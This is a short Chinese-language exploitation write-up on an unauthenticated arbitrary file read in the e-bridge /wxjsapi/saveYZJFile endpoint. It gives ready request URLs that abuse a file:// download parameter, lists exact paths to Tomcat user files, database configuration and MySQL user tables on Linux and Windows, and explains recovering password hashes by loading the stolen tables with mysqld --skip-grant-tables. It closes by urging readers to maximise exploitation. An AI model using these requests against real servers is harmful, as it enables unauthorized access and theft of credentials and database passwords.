漏洞简介
未授权任意文件读取,/wxjsapi/saveYZJFile接口获取filepath,输入文件路径->读取文件内容。返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件。
目录遍历+文件读取,我们能做的事情就很多了,比如读取管理员在桌面留下的密码文件、数据库配置文件、nginx代理配置、访问日志等。
漏洞利用
Linux
先获取e-bridge的安装路径
# path/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///&fileExt=txt
# path/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///usr/ewechat/&fileExt=txt
找到了当前目录,现在即可组合文件读取进行漏洞利用最大化。
tomcat-users.xml (tomcat配置文件)
# path/usr/ewechat/tomcat/conf/tomcat-users.xml
init.properties (数据库配置文件)
# path/usr/ewechat/tomcat/webapps/ROOT/WEB-INF/classes/init.properties
sqlserverconfig.properties (mssql用户名密码)
# path/usr/ewechat/tomcat/webapps/ROOT/WEB-INF/classes/sqlserverconfig.properties
user.MYD (mysql)
# path/usr/ewechat/mysql/data/mysql/user.MYD
下载mysql的user.MYD文件
记事本打开可以直接查看到密码的MD5值
user.frm user.MYD user.MYI (mysql)
# path/usr/ewechat/mysql/data/mysql/user.MYD/usr/ewechat/mysql/data/mysql/user.MYI/usr/ewechat/mysql/data/mysql/user.frm
自行搭建环境
下载user.frm user.MYD user.MYI这三个文件到本地替换
输入mysqld --skip-grant-tables 回车。--skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证。
连接数据库查询
Windows
先获取e-bridge的安装路径
init.properties (数据库配置文件)
# pathd://ebridge//tomcat//webapps//ROOT//WEB-INF//classes//init.properties
e-bridge的相对路径是一样的,所以在win环境下,可根据以上Linux环境下的路径直接构造想要读取的文件路径:
# pathd:/ebridge/tomcat/webapps/ROOT/WEB-INF/classes/init.propertiesd:/ebridge/tomcat/conf/tomcat-users.xmld:/ebridge/tomcat/webapps/ROOT/WEB-INF/classes/sqlserverconfig.propertiesd:/ebridge/mysql/data/mysql/user.MYD...
### 分割线
这篇文章只是一种渗透思路的体现,不管是xss还是rce,其漏洞带来的影响都需要去被发散思维/最大化利用,以便将战果尽可能地扩大。